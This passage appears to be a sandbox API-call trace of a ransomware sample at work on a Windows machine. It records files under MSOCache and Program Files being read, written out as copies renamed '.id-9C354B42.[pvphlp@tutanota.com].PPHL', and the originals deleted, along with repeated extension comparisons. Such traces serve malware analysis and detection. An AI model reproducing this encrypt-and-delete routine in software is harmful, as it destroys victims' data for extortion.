liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.197] SetEndOfFile (hFile=0x1d8) returned 1 [0062.198] CloseHandle (hObject=0x1d8) returned 1 [0062.198] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x2020) returned 1 [0062.199] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0062.199] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0062.199] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0062.199] lstrlenW (lpString=".doc") returned 4 [0062.199] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0062.199] lstrlenW (lpString=".docx") returned 5 [0062.199] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0062.199] lstrlenW (lpString=".pdf") returned 4 [0062.199] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0062.199] lstrlenW (lpString=".xls") returned 4 [0062.199] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0062.199] lstrlenW (lpString=".xlsx") returned 5 [0062.199] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0062.199] lstrlenW (lpString=".ppt") returned 4 [0062.199] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0062.200] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0062.200] lstrlenW (lpString=".zip") returned 4 [0062.200] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0062.200] lstrlenW (lpString=".rar") returned 4 [0062.200] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0062.200] lstrlenW (lpString=".bz2") returned 4 [0062.200] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0062.200] lstrlenW (lpString=".7z") returned 3 [0062.200] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0062.200] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0062.200] lstrlenW (lpString=".dbf") returned 4 [0062.200] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0062.200] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0062.200] lstrlenW (lpString=".1cd") returned 4 [0062.200] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0062.200] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0062.200] lstrlenW (lpString=".jpg") returned 4 [0062.200] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0062.200] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0062.200] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0062.200] lstrlenW (lpString=".doc") returned 4 [0062.200] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0062.200] lstrlenW (lpString=".docx") returned 5 [0062.200] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0062.200] lstrlenW (lpString=".pdf") returned 4 [0062.200] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0062.200] lstrlenW (lpString=".xls") returned 4 [0062.200] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0062.200] lstrlenW (lpString=".xlsx") returned 5 [0062.200] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0062.200] lstrlenW (lpString=".ppt") returned 4 [0062.200] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0062.200] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0062.200] lstrlenW (lpString=".zip") returned 4 [0062.200] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0062.201] lstrlenW (lpString=".rar") returned 4 [0062.201] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0062.201] lstrlenW (lpString=".bz2") returned 4 [0062.201] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0062.201] lstrlenW (lpString=".7z") returned 3 [0062.201] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0062.201] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0062.201] lstrlenW (lpString=".dbf") returned 4 [0062.201] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0062.201] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0062.201] lstrlenW (lpString=".1cd") returned 4 [0062.201] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0062.201] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0062.201] lstrlenW (lpString=".jpg") returned 4 [0062.201] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0062.201] lstrcmpiW (lpString1=".xml", lpString2=".PPHL") returned 1 [0062.201] lstrlenW (lpString="VisiorWW.xml") returned 12 [0062.201] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0062.202] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2b7ff1c | out: lpFileSize=0x2b7ff1c*=8723) returned 1 [0062.202] CloseHandle (hObject=0x1d8) returned 1 [0062.202] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml")) returned 0x2020 [0062.202] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0062.202] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0062.202] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.202] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.202] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0062.203] GetLastError () returned 0x0 [0062.203] ReadFile (in: hFile=0x1d8, lpBuffer=0x32d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b7fed4, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesRead=0x2b7fed4*=0x2213, lpOverlapped=0x0) returned 1 [0062.205] WriteFile (in: hFile=0x190, lpBuffer=0x32d0020*, nNumberOfBytesToWrite=0x2220, lpNumberOfBytesWritten=0x2b7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesWritten=0x2b7fc9c*=0x2220, lpOverlapped=0x0) returned 1 [0062.206] ReadFile (in: hFile=0x1d8, lpBuffer=0x32d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b7fed4, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesRead=0x2b7fed4*=0x0, lpOverlapped=0x0) returned 1 [0062.206] WriteFile (in: hFile=0x190, lpBuffer=0x32d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesWritten=0x2b7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0062.206] SetEndOfFile (hFile=0x190) returned 1 [0062.206] CloseHandle (hObject=0x190) returned 1 [0062.207] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.207] SetEndOfFile (hFile=0x1d8) returned 1 [0062.208] CloseHandle (hObject=0x1d8) returned 1 [0062.208] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x2020) returned 1 [0062.208] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml")) returned 1 [0062.208] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0062.208] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0062.208] lstrlenW (lpString=".doc") returned 4 [0062.208] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0062.208] lstrlenW (lpString=".docx") returned 5 [0062.208] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0062.208] lstrlenW (lpString=".pdf") returned 4 [0062.208] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0062.208] lstrlenW (lpString=".xls") returned 4 [0062.208] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0062.208] lstrlenW (lpString=".xlsx") returned 5 [0062.209] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0062.209] lstrlenW (lpString=".ppt") returned 4 [0062.209] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0062.209] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0062.209] lstrlenW (lpString=".zip") returned 4 [0062.209] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0062.209] lstrlenW (lpString=".rar") returned 4 [0062.209] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0062.209] lstrlenW (lpString=".bz2") returned 4 [0062.209] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0062.209] lstrlenW (lpString=".7z") returned 3 [0062.209] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0062.209] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0062.209] lstrlenW (lpString=".dbf") returned 4 [0062.209] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0062.209] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0062.209] lstrlenW (lpString=".1cd") returned 4 [0062.209] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0062.209] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0062.209] lstrlenW (lpString=".jpg") returned 4 [0062.209] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0062.209] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0062.209] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0062.209] lstrlenW (lpString=".doc") returned 4 [0062.209] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0062.209] lstrlenW (lpString=".docx") returned 5 [0062.209] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0062.209] lstrlenW (lpString=".pdf") returned 4 [0062.209] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0062.209] lstrlenW (lpString=".xls") returned 4 [0062.209] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0062.209] lstrlenW (lpString=".xlsx") returned 5 [0062.209] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0062.209] lstrlenW (lpString=".ppt") returned 4 [0062.209] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0062.210] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0062.210] lstrlenW (lpString=".zip") returned 4 [0062.210] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0062.210] lstrlenW (lpString=".rar") returned 4 [0062.210] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0062.210] lstrlenW (lpString=".bz2") returned 4 [0062.210] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0062.210] lstrlenW (lpString=".7z") returned 3 [0062.210] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0062.210] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0062.210] lstrlenW (lpString=".dbf") returned 4 [0062.210] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0062.210] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0062.210] lstrlenW (lpString=".1cd") returned 4 [0062.210] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0062.210] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0062.210] lstrlenW (lpString=".jpg") returned 4 [0062.210] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0062.210] lstrcmpiW (lpString1=".EPS", lpString2=".PPHL") returned -1 [0062.210] lstrlenW (lpString="MS.EPS") returned 6 [0062.210] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0064.611] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2b7ff1c | out: lpFileSize=0x2b7ff1c*=15067) returned 1 [0064.611] CloseHandle (hObject=0x19c) returned 1 [0064.611] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps")) returned 0x20 [0064.611] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0064.611] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0064.611] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0064.611] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0064.611] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0064.611] GetLastError () returned 0x0 [0064.611] ReadFile (in: hFile=0x19c, lpBuffer=0x32d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b7fed4, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesRead=0x2b7fed4*=0x3adb, lpOverlapped=0x0) returned 1 [0065.355] WriteFile (in: hFile=0x1e4, lpBuffer=0x32d0020*, nNumberOfBytesToWrite=0x3ae0, lpNumberOfBytesWritten=0x2b7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesWritten=0x2b7fc9c*=0x3ae0, lpOverlapped=0x0) returned 1 [0065.356] ReadFile (in: hFile=0x19c, lpBuffer=0x32d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b7fed4, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesRead=0x2b7fed4*=0x0, lpOverlapped=0x0) returned 1 [0065.359] WriteFile (in: hFile=0x1e4, lpBuffer=0x32d0020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x2b7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesWritten=0x2b7fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0065.359] SetEndOfFile (hFile=0x1e4) returned 1 [0065.359] CloseHandle (hObject=0x1e4) returned 1 [0065.360] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0065.360] SetEndOfFile (hFile=0x19c) returned 1 [0065.361] CloseHandle (hObject=0x19c) returned 1 [0065.361] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x20) returned 1 [0065.361] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps")) returned 1 [0065.362] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0065.362] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0065.362] lstrlenW (lpString=".doc") returned 4 [0065.362] lstrcmpiW (lpString1=".doc", lpString2=".EPS") returned -1 [0065.362] lstrlenW (lpString=".docx") returned 5 [0065.362] lstrcmpiW (lpString1=".docx", lpString2="S.EPS") returned -1 [0065.362] lstrlenW (lpString=".pdf") returned 4 [0065.362] lstrcmpiW (lpString1=".pdf", lpString2=".EPS") returned 1 [0065.362] lstrlenW (lpString=".xls") returned 4 [0065.362] lstrcmpiW (lpString1=".xls", lpString2=".EPS") returned 1 [0065.362] lstrlenW (lpString=".xlsx") returned 5 [0065.362] lstrcmpiW (lpString1=".xlsx", lpString2="S.EPS") returned -1 [0065.362] lstrlenW (lpString=".ppt") returned 4 [0065.362] lstrcmpiW (lpString1=".ppt", lpString2=".EPS") returned 1 [0065.362] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0065.362] lstrlenW (lpString=".zip") returned 4 [0065.362] lstrcmpiW (lpString1=".zip", lpString2=".EPS") returned 1 [0065.362] lstrlenW (lpString=".rar") returned 4 [0065.362] lstrcmpiW (lpString1=".rar", lpString2=".EPS") returned 1 [0065.362] lstrlenW (lpString=".bz2") returned 4 [0065.362] lstrcmpiW (lpString1=".bz2", lpString2=".EPS") returned -1 [0065.362] lstrlenW (lpString=".7z") returned 3 [0065.362] lstrcmpiW (lpString1=".7z", lpString2="EPS") returned -1 [0065.362] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0065.362] lstrlenW (lpString=".dbf") returned 4 [0065.362] lstrcmpiW (lpString1=".dbf", lpString2=".EPS") returned -1 [0065.362] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0065.362] lstrlenW (lpString=".1cd") returned 4 [0065.362] lstrcmpiW (lpString1=".1cd", lpString2=".EPS") returned -1 [0065.363] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0065.363] lstrlenW (lpString=".jpg") returned 4 [0065.363] lstrcmpiW (lpString1=".jpg", lpString2=".EPS") returned 1 [0065.363] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0065.363] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0065.363] lstrlenW (lpString=".doc") returned 4 [0065.363] lstrcmpiW (lpString1=".doc", lpString2=".EPS") returned -1 [0065.363] lstrlenW (lpString=".docx") returned 5 [0065.363] lstrcmpiW (lpString1=".docx", lpString2="S.EPS") returned -1 [0065.363] lstrlenW (lpString=".pdf") returned 4 [0065.363] lstrcmpiW (lpString1=".pdf", lpString2=".EPS") returned 1 [0065.363] lstrlenW (lpString=".xls") returned 4 [0065.363] lstrcmpiW (lpString1=".xls", lpString2=".EPS") returned 1 [0065.363] lstrlenW (lpString=".xlsx") returned 5 [0065.363] lstrcmpiW (lpString1=".xlsx", lpString2="S.EPS") returned -1 [0065.363] lstrlenW (lpString=".ppt") returned 4 [0065.363] lstrcmpiW (lpString1=".ppt", lpString2=".EPS") returned 1 [0065.363] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0065.363] lstrlenW (lpString=".zip") returned 4 [0065.363] lstrcmpiW (lpString1=".zip", lpString2=".EPS") returned 1 [0065.363] lstrlenW (lpString=".rar") returned 4 [0065.363] lstrcmpiW (lpString1=".rar", lpString2=".EPS") returned 1 [0065.363] lstrlenW (lpString=".bz2") returned 4 [0065.363] lstrcmpiW (lpString1=".bz2", lpString2=".EPS") returned -1 [0065.363] lstrlenW (lpString=".7z") returned 3 [0065.363] lstrcmpiW (lpString1=".7z", lpString2="EPS") returned -1 [0065.363] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0065.363] lstrlenW (lpString=".dbf") returned 4 [0065.363] lstrcmpiW (lpString1=".dbf", lpString2=".EPS") returned -1 [0065.363] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0065.363] lstrlenW (lpString=".1cd") returned 4 [0065.363] lstrcmpiW (lpString1=".1cd", lpString2=".EPS") returned -1 [0065.364] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0065.364] lstrlenW (lpString=".jpg") returned 4 [0065.364] lstrcmpiW (lpString1=".jpg", lpString2=".EPS") returned 1 [0065.364] lstrcmpiW (lpString1=".xml", lpString2=".PPHL") returned 1 [0065.364] lstrlenW (lpString="zh-dayi.xml") returned 11 [0065.364] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0067.034] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x2b7ff1c | out: lpFileSize=0x2b7ff1c*=11067) returned 1 [0067.034] CloseHandle (hObject=0x180) returned 1 [0067.034] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml")) returned 0x20 [0067.034] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0067.034] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0067.034] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 81 [0067.034] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 81 [0067.034] lstrlenW (lpString=".doc") returned 4 [0067.034] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0067.034] lstrlenW (lpString=".docx") returned 5 [0067.035] lstrcmpiW (lpString1=".docx", lpString2="i.xml") returned -1 [0067.035] lstrlenW (lpString=".pdf") returned 4 [0067.035] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0067.035] lstrlenW (lpString=".xls") returned 4 [0067.035] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0067.035] lstrlenW (lpString=".xlsx") returned 5 [0067.035] lstrcmpiW (lpString1=".xlsx", lpString2="i.xml") returned -1 [0067.035] lstrlenW (lpString=".ppt") returned 4 [0067.035] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0067.035] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 81 [0067.035] lstrlenW (lpString=".zip") returned 4 [0067.035] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0067.035] lstrlenW (lpString=".rar") returned 4 [0067.035] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0067.035] lstrlenW (lpString=".bz2") returned 4 [0067.035] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0067.035] lstrlenW (lpString=".7z") returned 3 [0067.035] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0067.035] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 81 [0067.035] lstrlenW (lpString=".dbf") returned 4 [0067.035] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0067.035] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 81 [0067.035] lstrlenW (lpString=".1cd") returned 4 [0067.035] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0067.035] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft 